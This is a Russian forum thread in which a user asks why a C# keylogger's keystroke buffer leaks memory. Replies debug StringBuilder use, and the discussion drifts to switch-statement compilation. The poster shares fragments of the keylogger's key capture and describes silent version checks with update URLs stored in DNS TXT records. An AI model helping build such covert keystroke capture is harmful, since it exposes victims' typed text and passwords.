+7
- 01
- 02
- 03
- 04
- 05
- 06
- 07
- 08
- 09
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
class Buffer
{
StringBuilder buffer = new StringBuilder("", 55);
public void append(String symbol)
{
if (buffer.Length > 50)
writeToLog();
buffer.Append(symbol);
}
public void removeLast()
{
if (buffer.Length == 0)
return;
buffer.Length--;
}
private void writeToLog()
{
keylogFile.write(buffer.ToString());
buffer.Clear();
GC.Collect();
}
}
Выдавил класс буфера для записи в лог с кейлоггера , так как нужно учитывать [backspace].
Туда передаются строки по 1 символу , так вот если убрать в конце GC.Collect(); начинает течь память ,
по 100кб где то в минуту при быстром наборе текста ,причем сама она уже потом не освобождается .
Не могу понять, чем это может быть вызвано.С GC.Collect(); все отлично .
Запостил: partizanes,
25 Июля 2016
laMer007 25.07.2016 01:57 # +15
так точно можно? не знал...
partizanes 25.07.2016 09:21 # +14
http://stackoverflow.com/a/17215160
Lokich 25.07.2016 13:27 # +14
http://referencesource.microsoft.com/#mscorlib/system/text/stringbuilder.cs,456
почему при изменении проперти длины они меняют содержимое?
мне кажется, что проблема кроется при Array.Copy. мне кажется там массивы утекают...
mishok 25.07.2016 11:55 # +14
Dummy00001 25.07.2016 13:23 # +18
это однозначно ошибка пользователя. цитируя жабщиков с моей прошлой работы, потому что мемори лика в программе быть не может, потому что гарбэдж коллекшн.
ЗЫ как не шарпщик, наивный код ревью: StringBuilder держит референсы на .Append()ed строки? попробуй не стрелять по воробьям из пушки, и поменяй StringBuilder на какую простую коллекцию/простую строку.
Lokich 25.07.2016 14:43 # +14
правда как я понял из статьи на dotnetpearls по поводу использования памяти в dotnnetpearls, у него внутри постоянно идут копирования массивов, что снижает производительность, и так же пораждает утечки, если вовремя не чистить память. короче, советую не использовать buffer.Length--;
homk 11.08.2016 13:01 # +14
gost 25.07.2016 14:24 # +29
> C#
Здравствуйте! Вы запустили вирус xXxDesTroyeRxXx! Для его работы, пожалуйста, установите .Net Framework не ниже 4.5 версии. В противном случае, запуск вируса будет невозможен. Спасибо за понимание!
3oJloTou_xyu 25.07.2016 14:27 # +14
partizanes 25.07.2016 19:01 # +14
bormand 25.07.2016 19:02 # +17
guesto 26.07.2016 05:32 # +19
Потому Ñ Ð²Ñе и вÑегда пишу на маÑме, например веб Ñайт или базу данных
3_14dar 26.07.2016 05:38 # +16
partizanes 26.07.2016 09:30 # +14
http://dropmefiles.com/imxCW
3_14dar 26.07.2016 18:24 # +13
Kozel 25.07.2016 14:59 # +16
guesto 25.07.2016 17:50 # +16
bormand 25.07.2016 18:56 # +16
partizanes 25.07.2016 19:02 # +13
bormand 25.07.2016 19:04 # +13
partizanes 25.07.2016 19:10 # +13
как выше написали уже, можно записывать в файл половину буфера и удалять тока половину.
bormand 25.07.2016 19:17 # +14
partizanes 25.07.2016 19:35 # +13
{
var answer = Node.sendPost("98:" + version);
if (answer.Contains("ok"))
{
Debug.WriteLine("Version check ok!");
}
else if (answer.Contains("http"))
{
на сервере php контролер :D
В студии после сборки релиза с сменой версии , запускается батник , который выгружает все изменения на сервер. :D
А урлы обновления хранятся в TXT записи домена ,клиент чекает версию постоянно :D
bormand 25.07.2016 21:22 # +17
Хех, когда-то все проги, любящие попроверять версию, моментально палились по треску в колонках (gprs, да), вычислялись по логу фаервола и выпиливались к хуям... А сейчас столько софта в сеть лезет, что и не заметишь.
guesto 25.07.2016 17:49 # +12
bormand 25.07.2016 19:08 # +13
Попробуй стресс-тест ему устроить. Если перестанет "течь" и остановится на какой-то границе, то оно так и есть.
partizanes 25.07.2016 19:14 # +13
Искал в куче в отладчике, но скила не хватило .
bormand 25.07.2016 19:18 # +13
Надо именно стресс-тест, прям в цикле хуярить в буфер непрерывно. Руками ты такого не добьёшься.
partizanes 25.07.2016 19:37 # +13
partizanes 25.07.2016 20:13 # +13
При автоматическом тестировании выглядит так:
http://dropmefiles.com/OOzhG
код теста
https://gist.github.com/anonymous/2679788d68b57cb45121c709f7172a12
bormand 25.07.2016 20:16 # +13
partizanes 25.07.2016 20:22 # +13
Не пойму ,почему сегодня визуал студия дебаг запускает в отдельном процессе sandbox.
Вчера когда тестил , оно запускалось ,как есть и утечки были ,более 400кб.
Или сам туплю или лыжи не едут.
kipar 25.07.2016 20:29 # +17
bormand 25.07.2016 20:32 # +13
partizanes 25.07.2016 20:41 # +13
Memory_Corruption 29.07.2016 19:35 # +13
partizanes 25.07.2016 20:40 # +12
Диспетчер http://dropmefiles.com/YBeCX
Студия http://dropmefiles.com/MqrGh
В конце видео перескочило на другой процесс.
JeremyW 25.07.2016 22:24 # +14
2. Если добавляем символы, то зачем использовать стринги.
Как то так. Специи добавить по вкусу.
CRITICAL_ERROR 25.07.2016 22:44 # +12
JeremyW 26.07.2016 08:10 # +12
Access_Violation 27.07.2016 22:09 # +11
JeremyW 28.07.2016 12:06 # +12
partizanes 25.07.2016 23:21 # +12
JeremyW 26.07.2016 08:10 # +12
Lokich 27.07.2016 14:30 # +13
напримел, написал там обзац, потом зажал backspace, и стер все это, а ты запишешь, что он удалил один символ в конце.
partizanes 27.07.2016 20:37 # +12
←→↑↓ [F1] , для определения некоторых кнопок используется вот такая конструкция
https://gist.github.com/anonymous/3b3242e42e45243b32fbddb1ed032e71
для остальных VKCodeToUnicode . Что то парсится сложнее например [CTRL+C][CTRL+V].
у кнопок есть состояние
private const int KEY_PRESSED = 0x8000;
определение нажатого шифта
if (IsPressed(VirtualKeyStates.VK_SHIFT))
При зажатии кнопки она будет постоянно слать сигнал и в целом будет учитывать .Как я уже писал выше , функция записи буфера дорабатывается и планируется , что будет записывать и удалять половину буфера.
Суть увидеть набранный текст , а вообще задача учебная и кейлогер это всего лишь один из модулей .
Kozel 28.07.2016 11:15 # +12
switch?
EDIT: или не хочется break писать?
partizanes 28.07.2016 18:03 # +12
bormand 28.07.2016 20:58 # +15
3_14dar 28.07.2016 21:40 # +15
В жавке свич вроде бы за O(1)
3_dar 28.07.2016 22:23 # +13
Конечно за O(1)
Размер программы ведь O(1)
partizanes 28.07.2016 23:19 # +13
3_14dar 28.07.2016 23:53 # +12
bormand 29.07.2016 06:30 # +12
3_14dar 29.07.2016 07:39 # +12
1024-- 29.07.2016 08:35 # +13
3_14dar 29.07.2016 08:57 # +12
Чет нихуя. Кто поправит?
Soul_re@ver 29.07.2016 09:44 # +12
Ну и смотреть выхлоп компилятора без хотя бы О2 — бессмысленно
3_14dar 29.07.2016 18:54 # +12
Soul_re@ver 29.07.2016 19:16 # +12
https://godbolt.org/g/f6xAod
Получилась хуйня, но получилась она логично — функция ничего не возвращает, побочных эффектов не содержит, поэтому тело функции не_нужно. Заставим её возвращать значение:
https://godbolt.org/g/EmyJnV
Получилась опять хуйня, потому что значение i не определено. Можно поиграть с компиляторами. Старый ГЦЦ вообще НЁХ выдаёт. Сделает i параметром функции:
https://godbolt.org/g/eYJhJm
Нет двоичного поиска. видимо потому, что на 4 элементах он нахуй не нужен. Добавим ещё 4:
https://godbolt.org/g/tdSQ5r
Теперь мы видим сочетание двоичного поиска (первый выбор) и линейного. Судя по всему, ГЦЦ прекращает двоичный поиск, когда элементов мало.
kegdan 29.07.2016 12:31 # +12
Soul_re@ver 29.07.2016 12:42 # +13
Можно на крайний случай делать всё наследованием и виртуальными функциями. А для ПИРФОМАНСА, нужно делать царский анролл в компайлтайме — шаблоны, специализированные на значениях свича/if. Или рекурсивно раскрывающиеся для циклов. Поэтому С++ рулит — такой хуйни в других языках нет.
kegdan 29.07.2016 12:48 # +13
Ебучий Visitor ничем не лучше свитча, инфа 100%
bormand 28.07.2016 21:00 # +12
map<K, V>, или как там его у вас в шарпе зовут.
kegdan 29.07.2016 12:31 # +12
3_14dar 29.07.2016 18:55 # +12
Школьник вернулся, гы.
kegdan 29.07.2016 19:01 # +13
Спешу ответить на твой вопрос. map в жабе - ынтерфейс, собственно dictionary ака idictionary - тоже, так что пошел нахуй
3_14dar 29.07.2016 19:10 # +12
> dictionary ака idictionary
https://msdn.microsoft.com/ru-ru/library/xfhwa508(v=vs.110).aspx
Lokich 29.07.2016 23:17 # +12
partizanes 25.07.2016 23:17 # +11
https://habrahabr.ru/post/172689/